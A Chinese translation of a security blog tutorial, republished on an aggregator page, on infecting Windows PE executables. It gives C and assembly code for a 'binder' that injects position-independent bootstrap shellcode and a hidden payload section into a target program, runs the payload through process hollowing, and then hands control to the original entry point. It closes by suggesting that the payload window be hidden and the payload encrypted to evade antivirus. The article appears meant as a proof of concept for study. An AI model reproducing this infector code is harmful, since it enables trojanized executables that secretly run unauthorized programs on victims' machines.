Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

【技术分享】PE文件感染技术(Part II)

$
0
0
【技术分享】PE文件感染技术(Part II)

2017-11-13 14:00:00

阅读:747次
点赞(0)
收藏
来源: 0x00sec.org





【技术分享】PE文件感染技术(Part II)

作者:興趣使然的小胃





【技术分享】PE文件感染技术(Part II)

译者:興趣使然的小胃

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


一、简介

一年多以前,我发表了一篇文章,介绍了如何使用shellcode来感染可执行文件。从那时起,我又学到了许多新的知识和新的技术,因此最近一段时间,我还想开发另一个PoC,再次完成这个任务。新的PoC与之前的方法途径相同,但融合了我所学的新知识及新技术,更加高级。在本文中,我会介绍一种文件“绑定(binding)”技术。之所以用到“绑定”这个词,原因与这个概念的最初构想有关,因为这个技术使用了与上一篇文章类似的感染机理。我创建了一个项目:Arkhos,这个项目的功能是使用一段shellcode(AIDS)来实现PoC效果。顺便提一下,AIDS指的是“Assimilative Infection using Diabolical Shellcode”。

如果想理解并掌握该技术,所需的技能及知识点为:

C/C++编程技术

WinAPI

Intel x86汇编技术

PE文件格式

RunPE/进程Hollow技术(Process Hollowing)

下文中涉及的相关技术源于我个人对windows内部机制的研究及理解,如果读者发现其中有何纰漏,请联系我,我会尽快改正。欢迎读者给出任何建设性意见或者建议。


二、整体过程

我们的目的是将一个可执行文件A合并到另一个可执行文件B中,具体方法是将一段引导型shellcode(bootstrap shellcode)与可执行载荷结合起来,感染可执行文件B。感染成功后,新的入口点会指向我们设定的引导代码,引导代码首先会使用进程Hollow技术以新进程方式运行载荷,然后跳转到原始入口点,执行原始程序。

成功感染可执行文件后,其文件结构如下所示:


【技术分享】PE文件感染技术(Part II)

理想情况下,引导型shellcode可以填充到.text节(section)的代码洞(code cave)中,然而,实际情况中,shellcode的大小可能较大,此时我们可以将其作为一个新的节附加到PE文件中。


三、Shellcode

3.1 开发要点

在开发shellcode之前,有些要点需要引起我们的注意。最重要的一点就是实现代码的位置无关特性。如果shellcode需要依赖硬编码的位置,那么对于另一个可执行文件来说,相关环境会发生变化,导致shellcode无法成功运行。因此,我们不能依赖一个导入表来调用WinAPI函数,需要这些函数时,我们必须解决字符串问题。

3.2 动态获取WinAPI函数

根据Windows对可执行文件的处理方式,我们在内存中总能看到两个DLL文件的身影:kernel32.dll以及ntdll.dll。我们可以充分利用这个基础,获取由WinAPI提供的任何函数地址。在本文中,我们只需要使用这两个DLL文件导出的函数,因为这些函数足以满足我们的需求。

那么,我们如何才能做到这一点?最常见的方法是找到正在运行的程序的PEB结构,该结构的位置为fs:30h,然后我们就可以查找并遍历进程中的模块。比如,我们可以查找kernel32.dll和ntdll.dll的基地址。从这些基地址出发,我们可以像查找其他PE文件那样,解析模块的文件,遍历导出函数表,直到找到匹配结果。如果你想了解更详细的过程,你可以参考我写的另一篇文章。实践是检验真理的唯一标准,上述过程的代码实现如下所示:

;getkernel32baseaddress _get_kernel32: moveax,[fs:0x30] moveax,[eax+0x0C] moveax,[eax+0x14] moveax,[eax] moveax,[eax] moveax,[eax+0x10] ret FARPROCGetKernel32Function(LPCSTRszFuncName){ HMODULEhKernel32Mod=get_kernel32(); //getDOSheader PIMAGE_DOS_HEADERpidh=(PIMAGE_DOS_HEADER)(hKernel32Mod); //getNTheaders PIMAGE_NT_HEADERSpinh=(PIMAGE_NT_HEADERS)((DWORD)hKernel32Mod+pidh->e_lfanew); //findeat PIMAGE_EXPORT_DIRECTORYpied=(PIMAGE_EXPORT_DIRECTORY)((DWORD)hKernel32Mod+pinh->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); //findexporttablefunctions LPDWORDdwAddresses=(LPDWORD)((DWORD)hKernel32Mod+pied->AddressOfFunctions); LPDWORDdwNames=(LPDWORD)((DWORD)hKernel32Mod+pied->AddressOfNames); LPWORDwOrdinals=(LPWORD)((DWORD)hKernel32Mod+pied->AddressOfNameOrdinals); //loopthroughallnamesoffunctions for(inti=0;i<pied->NumberOfNames;i++){ LPSTRlpName=(LPSTR)((DWORD)hKernel32Mod+dwNames[i]); if(!strcmp(szFuncName,lpName)) return(FARPROC)((DWORD)hKernel32Mod+dwAddresses[wOrdinals[i]]); } returnNULL; }

3.3 动态计算字符串地址

我们需要解决的另一个问题是字符串地址问题。字符串使用的是硬编码的地址,为了在运行时(run-time)找到这些地址,一种方法是使用delta offset技巧来动态计算字符串的地址,相关计算代码如下所示:

string:db"Helloworld!",0 _get_loc: call_loc _loc: popedx ret _get_string: call_get_loc;getaddressof_loc subedx,_loc-string;calculateaddressofstringbysubtracting ;thedifferenceinbytesfrom_loc moveax,edx;returntheaddressofthestring ret

3.4 其他依赖源

其他地方可能会碰到一些依赖问题,比如对某些基础函数(如strlen)的依赖问题,因此我们也需要手动编写这些函数代码。为了避免在编译可执行文件过程中出现任何依赖问题,我选择使用C以及汇编语言,通过gcc以及nasm编译得到目标代码,然后使用ld手动完成链接过程。需要注意的是,函数调用有相对以及绝对两种形式。想使用相对形式(位置无关代码),它们必须使用E8十六进制操作码。


四、编写Shellcode

首先我想先谈谈shellcode代码,因为shellcode是binder程序中必需的一个组件。shellcode需要实现两个目标:以新进程方式运行载荷,然后继续执行原始程序。

具体步骤为:

1、在最后一个section中找到载荷。

2、创建一个挂起的(suspended)进程。

3、掏空进程,为载荷预留空间,空间大小对应从载荷映像(image)基址到映像结束所需的空间大小。

4、为载荷分配内存空间,解析载荷并将载荷写入正确的地址。

5、恢复挂起进程的执行,开始执行载荷。

6、跳转到原始程序的原始入口点。

4.1 定位payload

首先需要找到可执行文件最后一个section所对应的相关字节,具体方法为:

LPVOIDGetPayload(LPVOIDlpModule){ //getDOSheader PIMAGE_DOS_HEADERpidh=(PIMAGE_DOS_HEADER)lpModule; //getNTheaders PIMAGE_NT_HEADERSpinh=(PIMAGE_NT_HEADERS)((DWORD)lpModule+pidh->e_lfanew); //find.textsection PIMAGE_SECTION_HEADERpishText=IMAGE_FIRST_SECTION(pinh); //getlastIMAGE_SECTION_HEADER PIMAGE_SECTION_HEADERpishLast=(PIMAGE_SECTION_HEADER)(pishText+(pinh->FileHeader.NumberOfSections-1)); return(LPVOID)(pinh->OptionalHeader.ImageBase+pishLast->VirtualAddress); }

GetPayload函数的任务非常简单。该函数可以得到一个指针,该指针指向可执行模块在内存中的基址,然后解析PE头部结构,从中我们可以得到一些必要的信息来定位我们寻找的那些节。我们可以使用IMAGE_FIRST_SECTION宏,计算由NT头部提供的偏移信息来找到第一个section。IMAGE_FIRST_SECTION宏的代码如下所示:

#defineIMAGE_FIRST_SECTION(ntheader)((PIMAGE_SECTION_HEADER)\ ((ULONG_PTR)(ntheader)+\ FIELD_OFFSET(IMAGE_NT_HEADERS,OptionalHeader)+\ ((ntheader))->FileHeader.SizeOfOptionalHeader\ ))

与数组访问过程类似,利用第一个section的头部地址,我们可以根据section的数量计算偏移量,找到最后一个section的头部。一旦找到最后一个section的头部后,我们可以通过VirtualAddress字段找到相对虚拟地址(请记住我们面对的是内存中的可执行文件,而不是原始的文件),该地址与ImageBase相加后就能得到绝对虚拟地址。

4.2 RunPE/进程Hollow技术(Process Hollowing)

接下来我们需要模拟Windows映像加载器,将载荷加载到新进程的虚拟内存中。首先,我们需要一个进程,该进程是载荷的写入对象,我们可以使用CreateProcess来创建这个进程,在创建进程时指定CREATE_SUSPENDED标志,这样我们就能把进程的可执行模块换成我们自己的载荷。

//processinfo STARTUPINFOsi; PROCESS_INFORMATIONpi; MyMemset(&pi,0,sizeof(pi)); MyMemset(&si,0,sizeof(si)); si.cb=sizeof(si); si.dwFlags=STARTF_USESHOWWINDOW; si.wShowWindow=SW_SHOW; //firstcreateprocessassuspended pfnCreateProcessAfnCreateProcessA=(pfnCreateProcessA)GetKernel32Function(0xA851D916); fnCreateProcessA(szFileName,NULL,NULL,NULL,FALSE,CREATE_SUSPENDED|DETACHED_PROCESS,NULL,NULL,&si,&pi);

我们需要使用原始程序的文件来创建新进程。新创建进程的当前状态如下所示(假设原始程序以及载荷使用同样的基址):


【技术分享】PE文件感染技术(Part II)

需要注意的是,这里我们可能需要使用DETACHED_PROCESS标志,这样创建出的进程不是一个子进程,也就是说,如果原始程序所对应的进程结束运行,我们创建的进程也不会被终止。我们可以将wShowWindow字段的值设为SW_HIDE,但这里我会把它设置为SW_SHOW,以便显示载荷进程成功执行的结果。

为了能将载荷写入进程中,我们需要将正在使用的已分配的所有内存unmap掉,只要将基地址作为参数传递给ZwUnmapViewOfSection函数即可。

//unmapmemoryspaceforourprocess pfnGetProcAddressfnGetProcAddress=(pfnGetProcAddress)GetKernel32Function(0xC97C1FFF); pfnGetModuleHandleAfnGetModuleHandleA=(pfnGetModuleHandleA)GetKernel32Function(0xB1866570); pfnZwUnmapViewOfSectionfnZwUnmapViewOfSection=(pfnZwUnmapViewOfSection)fnGetProcAddressfnGetModuleHandleA(get_ntdll_string()),get_zwunmapviewofsection_string()); fnZwUnmapViewOfSection(pi.hProcess,(LPVOID)pinh->OptionalHeader.ImageBase);

新进程被掏空后的示意图如下:


【技术分享】PE文件感染技术(Part II)

现在,我们可以解析载荷的PE文件,将其写入进程的内存空间中。首先,在ImageBase地址处分配大小为SizeOfImage的一段空间,然后使用WriteProcessMemory将相关字节写入虚拟地址空间中。

//allocatevirtualspaceforprocess pfnVirtualAllocExfnVirtualAllocEx=(pfnVirtualAllocEx)GetKernel32Function(0xE62E824D); LPVOIDlpAddress=fnVirtualAllocEx(pi.hProcess,(LPVOID)pinh->OptionalHeader.ImageBase,inh->OptionalHeader.SizeOfImage,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE); //writeheadersintomemory pfnWriteProcessMemoryfnWriteProcessMemory=(pfnWriteProcessMemory)GetKernel32Function0x4F58972E); fnWriteProcessMemory(pi.hProcess,(LPVOID)pinh->OptionalHeader.ImageBase,lpPayload,inh->OptionalHeader.SizeOfHeaders,NULL); //writeeachsectionintomemory for(inti=0;i<pinh->FileHeader.NumberOfSections;i++){ //calculatesectionheaderofeachsection PIMAGE_SECTION_HEADERpish=(PIMAGE_SECTION_HEADER)((DWORD)lpPayload+pidh->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i); //writesectiondataintomemory fnWriteProcessMemory(pi.hProcess,(LPVOID)(pinh->OptionalHeader.ImageBase+pish->VirtualAddress),(LPVOID)((DWORD)lpPayload+pish->PointerToRawData),pish->SizeOfRawData,NULL); }
【技术分享】PE文件感染技术(Part II)

在恢复进程之前,我们需要修改线程的上下文,以便将指令指针(instruction pointer)的起始位置设置为AddressOfEntryPoint。这个步骤完成后,我们就可以安全启动载荷进程。

CONTEXTctx; ctx.ContextFlags=CONTEXT_FULL; pfnGetThreadContextfnGetThreadContext=(pfnGetThreadContext)GetKernel32Function(0x649EB9C1); fnGetThreadContext(pi.hThread,&ctx); //setstartingaddressatvirtualaddress:addressofentrypoint ctx.Eax=pinh->OptionalHeader.ImageBase+pinh->OptionalHeader.AddressOfEntryPoint; pfnSetThreadContextfnSetThreadContext=(pfnSetThreadContext)GetKernel32Function(0x5688CBD8); fnSetThreadContext(pi.hThread,&ctx); //resumeoursuspendedprocesses pfnResumeThreadfnResumeThread=(pfnResumeThread)GetKernel32Function(0x3872BEB9); fnResumeThread(pi.hThread);

最后,我们需要执行原始程序,这一步非常简单:

void(*oep)()=(void*)0x69696969; oep();

这里我预留了一个占位符(0x69696969),对应原始的入口点,以方便binder程序修改。


五、开发Binder程序

Binder程序的任务相对简单些,只涉及一些文件I/O以及少量PE文件修改操作,具体为:

1、读取目标可执行文件。

2、读取载荷可执行文件。

3、将shellcode注入到合适的section中。

4、将载荷数据附加到新的section中。

5、生成结合后的可执行文件。

5.1 提取shellcode

编译完shellcode可执行文件后,该文件应该会对应一个空的导入表,并且所有的data section中都不包含任何数据。所需的所有数据都位于.text section中,所以提取这些字节并将其写入binder的源码中并不是件难事:

this->shellcode=std::vector<BYTE>{0x50,0x41,0x59,0x4C,...};

5.2 绑定(Binding)过程

文件I/O代码十分简单,我会跳过这些代码,直接讨论绑定这两个程序的具体过程。存放shellcode的具体位置由两种情况来决定:如果.text section的代码空间足够大,那么shellcode可以存放在这个位置,否则我们需要将其添加为一个新的section。由于这篇文章中我还没有演示如何追加一个新的section来存放数据,为了缩短文章篇幅,这里我只会演示如何使用.text section来完成这个任务。我会在源码中介绍另一种方法。

在添加新section头部之前,我们需要检查是否有足够的空间来存放头部数据。我们需要将第一个section的原始地址与最后一个section尾部的原始地址相减,看结果是否大于等于新section头部大小。如果空间不够,那么绑定该文件的方法就不会那么简单。PE中有些字段用于描述section中的数据,只要理解参数含义,处理好对齐问题,那么创建一个新的section并不难。创建新的section后,我们可以将新头部填入新section的头部空间中,同时也要更新File Header以及Optional Header的值。

//checkcodecavesizein.textsection if(pishText->SizeOfRawData-pishText->Misc.VirtualSize>=this->shellcode.size()){ //insertshellcodeinto.textsection }else{ //elsecreatenewexecutablesection //checkspacefornewsectionheader //getlastIMAGE_SECTION_HEADER PIMAGE_SECTION_HEADERpishLast=(PIMAGE_SECTION_HEADER)(pishText+(pinh->FileHeader.NumberOfSections-1)); PIMAGE_SECTION_HEADERpishNew=(PIMAGE_SECTION_HEADER)((DWORD)pishLast+IMAGE_SIZEOF_SECTION_HEADER); if(pishText->PointerToRawData-(DWORD)pishNew<IMAGE_SIZEOF_SECTION_HEADER) returnfalse; //createnewsectionheader IMAGE_SECTION_HEADERishNew; ::ZeroMemory(&ishNew,sizeof(ishNew)); ::CopyMemory(ishNew.Name,".aids",5); ishNew.Characteristics=IMAGE_SCN_CNT_CODE|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ; ishNew.SizeOfRawData=ALIGN(this->shellcode.size(),pinh->OptionalHeader.FileAlignment); ishNew.VirtualAddress=ALIGN((pishLast->VirtualAddress+pishLast->Misc.VirtualSize),pinh->OptionalHeader.SectionAlignment); ishNew.PointerToRawData=ALIGN((pishLast->PointerToRawData+pishLast->SizeOfRawData),pinh->OptionalHeader.FileAlignment); ishNew.Misc.VirtualSize=this->shellcode.size(); //fixheaders'values pinh->FileHeader.NumberOfSections++; pinh->OptionalHeader.SizeOfImage=ALIGN((pinh->OptionalHeader.SizeOfImage+ishNew.Misc.VirtualSize),pinh->OptionalHeader.SectionAlignment); //manuallycalculatesizeofheaders;unreliable pinh->OptionalHeader.SizeOfHeaders=ALIGN((pinh->FileHeader.NumberOfSections*IMAGE_SIZEOF_SECTION_HEADER),pinh->OptionalHeader.FileAlignment); //appendnewsectionheader ::CopyMemory(pishNew,&ishNew,IMAGE_SIZEOF_SECTION_HEADER); //appendnewsectionandcopytooutput output.insert(output.end(),target.begin(),target.end()); output.insert(output.end(),this->shellcode.begin(),this->shellcode.end());

shellcode添加前后的示意图如下所示:


【技术分享】PE文件感染技术(Part II)

添加载荷section的过程基本相似,代码如下:

//appendnewpayloadsection //checkspacefornewsectionheader //getDOSheader pidh=(PIMAGE_DOS_HEADER)output.data(); //getNTheaders pinh=(PIMAGE_NT_HEADERS)((DWORD)output.data()+pidh->e_lfanew); //find.textsection pishText=IMAGE_FIRST_SECTION(pinh); //getlastIMAGE_SECTION_HEADER pishLast=(PIMAGE_SECTION_HEADER)(pishText+(pinh->FileHeader.NumberOfSections-1)); pishNew=(PIMAGE_SECTION_HEADER)((DWORD)pishLast+IMAGE_SIZEOF_SECTION_HEADER); if(pishText->PointerToRawData-(DWORD)pishNew<IMAGE_SIZEOF_SECTION_HEADER) returnfalse; //createnewsectionheader ::ZeroMemory(&ishNew,sizeof(ishNew)); ::CopyMemory(ishNew.Name,".payload",8); ishNew.Characteristics=IMAGE_SCN_MEM_READ|IMAGE_SCN_CNT_INITIALIZED_DATA; ishNew.SizeOfRawData=ALIGN(payload.size(),pinh->OptionalHeader.FileAlignment); ishNew.VirtualAddress=ALIGN((pishLast->VirtualAddress+pishLast->Misc.VirtualSize),pinh->OptionalHeader.SectionAlignment); ishNew.PointerToRawData=ALIGN((pishLast->PointerToRawData+pishLast->SizeOfRawData),pinh->OptionalHeader.FileAlignment); ishNew.Misc.VirtualSize=payload.size(); //fixheaders'values pinh->FileHeader.NumberOfSections++; pinh->OptionalHeader.SizeOfImage=ALIGN((pinh->OptionalHeader.SizeOfImage+ishNew.Misc.VirtualSize),pinh->OptionalHeader.SectionAlignment); pinh->OptionalHeader.SizeOfHeaders=ALIGN((pinh->OptionalHeader.SizeOfHeaders+IMAGE_SIZEOF_SECTION_HEADER),pinh->OptionalHeader.FileAlignment); //appendnewsectionheader ::CopyMemory(pishNew,&ishNew,IMAGE_SIZEOF_SECTION_HEADER); //appendnewsectionandcopytooutput output.insert(output.end(),payload.begin(),payload.end());

载荷添加前后的示意图如下所示:


【技术分享】PE文件感染技术(Part II)

最后一步是更新Optional Header中的入口点地址,替换shellcode中的入口点占位符。

//updateaddressofentrypoint //redefineheaders //getDOSheader pidh=(PIMAGE_DOS_HEADER)output.data(); //getNTheaders pinh=(PIMAGE_NT_HEADERS)((DWORD)output.data()+pidh->e_lfanew); //find.textsection pishText=IMAGE_FIRST_SECTION(pinh); //get.aidssection(nowis2ndlast) pishLast=(PIMAGE_SECTION_HEADER)(pishText+(pinh->FileHeader.NumberOfSections-2)); PIMAGE_SECTION_HEADERpishAids=pishLast; //calculatenewentrypoint DWORDdwNewEntryPoint=pishAids->VirtualAddress+SHELLCODE_START_OFFSET; pinh->OptionalHeader.AddressOfEntryPoint=dwNewEntryPoint; //updateOEPinshellcode ::CopyMemory(output.data()+pishAids->PointerToRawData+SHELLCODE_START_OFFSETSHELLCODE_OEP_OFFSET,&dwOEP,sizeof(dwOEP));

六、成果展示

这里我会展示两个可执行文件绑定后的效果,我选择使用PEview.exe作为目标文件,使用putty.exe作为载荷文件。

6.1 程序执行效果


【技术分享】PE文件感染技术(Part II)

6.2 查看section

.aids section


【技术分享】PE文件感染技术(Part II)

.payload section


【技术分享】PE文件感染技术(Part II)

七、总结

这种方法不仅可以把简单shellcode注入可执行文件,弹出消息对话框,进一步扩展后可以完成更为复杂的操作,比如可以生成完全独立的可执行文件。只需要掌握PE文件的相关知识、基本的shellcode编写技巧以及Windows系统的一些内部工作原理,我们能发挥的空间(基本)不会受到任何限制。


八、可改进的地方

Arkhos只是一个PoC工程,用来演示恶意用户如何在受害者主机上执行未经授权的程序。我们可以做些改进,使这种技术的实际威胁程度大大提高,比如我们可以隐藏载荷的窗口,通过压缩及(或)加密方法来混淆载荷等。就目前而言,许多杀毒软件可以检测出这种组合式可执行程序,可参考VirusTotal查看具体的检测结果。

我会在我的GitLab上更新源代码及二进制文件。

希望本文能给某些读者带来灵感或启发。



【技术分享】PE文件感染技术(Part II)
【技术分享】PE文件感染技术(Part II)
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://0x00sec.org/t/pe-file-infection-part-ii/4135

Viewing all articles
Browse latest Browse all 12749

Latest Images

Trending Articles





Latest Images